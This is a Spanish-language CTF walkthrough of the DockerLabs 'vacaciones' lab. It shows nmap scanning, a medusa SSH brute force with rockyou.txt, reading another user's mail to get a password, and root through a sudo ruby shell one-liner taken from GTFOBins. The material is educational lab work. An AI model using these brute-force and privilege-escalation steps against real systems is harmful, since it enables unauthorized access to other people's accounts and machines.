Lo primero que haremos será desplegar el contenedor donde está la maquina vulnerable.

```
caan31 ~/Documentos/Maquinas_DockerLabs/vacaciones >> sudo bash auto_deploy.sh vacaciones.tar
Deploying root access for caan31. Password pls:

Estamos desplegando la máquina vulnerable, espere un momento.

Máquina desplegada, su dirección IP es --> 172.17.0.2

Presiona Ctrl+C cuando termines con la máquina para eliminarla
```

Una vez desplegada, haremos un ping para comprobar que tenemos conexión, podemos ver por el **ttl** que es una maquina Linux

```
caan31 ~ >> ping -c 2 172.17.0.2
PING 172.17.0.2 (172.17.0.2) 56(84) bytes of data.
64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.049 ms
64 bytes from 172.17.0.2: icmp_seq=2 ttl=64 time=0.029 ms

--- 172.17.0.2 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1064ms
rtt min/avg/max/mdev = 0.029/0.039/0.049/0.010 ms
caan31 ~ >>
```

Haremos un escaneo simple para comprobar que puertos están abiertos y -Pn para que no detecte que nuestro host tiene conexión.

```
caan31 ~ >> nmap -Pn 172.17.0.2
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-11 18:41 CEST
Nmap scan report for 172.17.0.2
Host is up (0.00011s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
```

Una vez comprobamos que puertos están abiertos podemos hacer una búsqueda más detallada especificando los puertos con -p y ver la versión con -sCV.

```
caan31 ~ >> nmap -p22,80 -sCV -Pn 172.17.0.2
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-11 18:42 CEST
Nmap scan report for 172.17.0.2
Host is up (0.00033s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 41:16:eb:54:64:34:d1:69:ee:dc:d9:21:9c:72:a5:c1 (RSA)
|   256 f0:c4:2b:02:50:3a:49:a7:a2:34:b8:09:61:fd:2c:6d (ECDSA)
|_  256 df:e9:46:31:9a:ef:0d:81:31:1f:77:e4:29:f5:c9:88 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.77 seconds
```

Vamos a ver que contiene el servidor web y vemos una página en blanco donde inspeccionaremos el código de esta, podemos ver un comentario de juan para camilo que ha dejado un correo importante.

Como ya contamos con dos posibles usuarios haremos un ataque de fuerza bruta.

Primero crearemos un archivo .txt donde estén estos dos usuarios.

```
caan31 ~/Documentos/Maquinas_DockerLabs/vacaciones >> echo -e "camilo\njuan" > usuarios.txt
```

Haremos el ataque con medusa ya que podremos ver los paquetes uno a uno y si para alguno de los dos usuarios se resuelve y así intenta con el otro.

```
caan31 ~ >> medusa -U Documentos/Maquinas_DockerLabs/vacaciones/usuarios.txt -P Descargas/rockyou.txt -h 172
.17.0.2 -M ssh
Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>
```

Podemos ver que capturo la contraseña de camilo que es password1 y continua con la búsqueda del usuario juan.

```
ACCOUNT FOUND: [ssh] Host: 172.17.0.2 User: camilo Password: password1 [SUCCESS]
ACCOUNT CHECK: [ssh] Host: 172.17.0.2 (1 of 1, 0 complete) User: juan (2 of 2, 1 complete) Password: 123456 (1 of
14344390 complete)
```

Ahora ingresaremos por ssh con el usuario camilo.

```
caan31 ~ >> sudo ssh camilo@172.17.0.2
Deploying root access for caan31. Password pls:
The authenticity of host '172.17.0.2 (172.17.0.2)' can't be established.
ED25519 key fingerprint is SHA256:52z4CT20OpL7G8YfPhcdERemóSq+z8868LngvNGXRlA.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '172.17.0.2' (ED25519) to the list of known hosts.
camilo@172.17.0.2's password:
$ whoami
camilo
```

Intentamos ver si tenemos algún privilegio con sudo -l y vemos que no

```
$ sudo -l
[sudo] password for camilo:
Sorry, user camilo may not run sudo on 43d78581682a.
```

Explorando un poco podremos ver que contamos con 3 usuarios, camilo, juan y pedro, podríamos intentar hacer un ataque a pedro buscando su contraseña de igual manera con medusa o con hydra.

```
$ cd /home
$ ls
camilo  juan  pedro
```

Recordemos que a camilo juan le envió un correo así que podríamos revisar el directorio /var/mail que suele contener los buzones de correo de los usuarios locales del sistema.

Como podemos ver es el mensaje de juan para camilo con su contraseña.

```
$ cd /var/mail
$ ls
camilo
$ cd camilo
$ ls
correo.txt
$ cat correo.txt
Hola Camilo,

Me voy de vacaciones y no he terminado el trabajo que me dio el jefe. Por si acaso lo pide, aquí tienes la contras
eña: 2k84dicb
```

Ahora con las credenciales de juan podremos acceder por ssh.

Podemos comprobar de nuevo con sudo -l si tenemos privilegios y poder así escalar hasta ser usuario root

```
caan31 ~ >> sudo ssh juan@172.17.0.2
Deploying root access for caan31. Password pls:
juan@172.17.0.2's password:
$ whoami
juan
$ ls
$ sudo -l
Matching Defaults entries for juan on 43d78581682a:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User juan may run the following commands on 43d78581682a:
    (ALL) NOPASSWD: /usr/bin/ruby
$
```

Buscaremos en gtfobins si podemos con este binario escalar privilegios

Sudo

If the binary is allowed to run as superuser by `sudo`, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

```
sudo ruby -e 'exec "/bin/sh"'
```

Ejecutamos el comando y podemos ver que ahora somos root.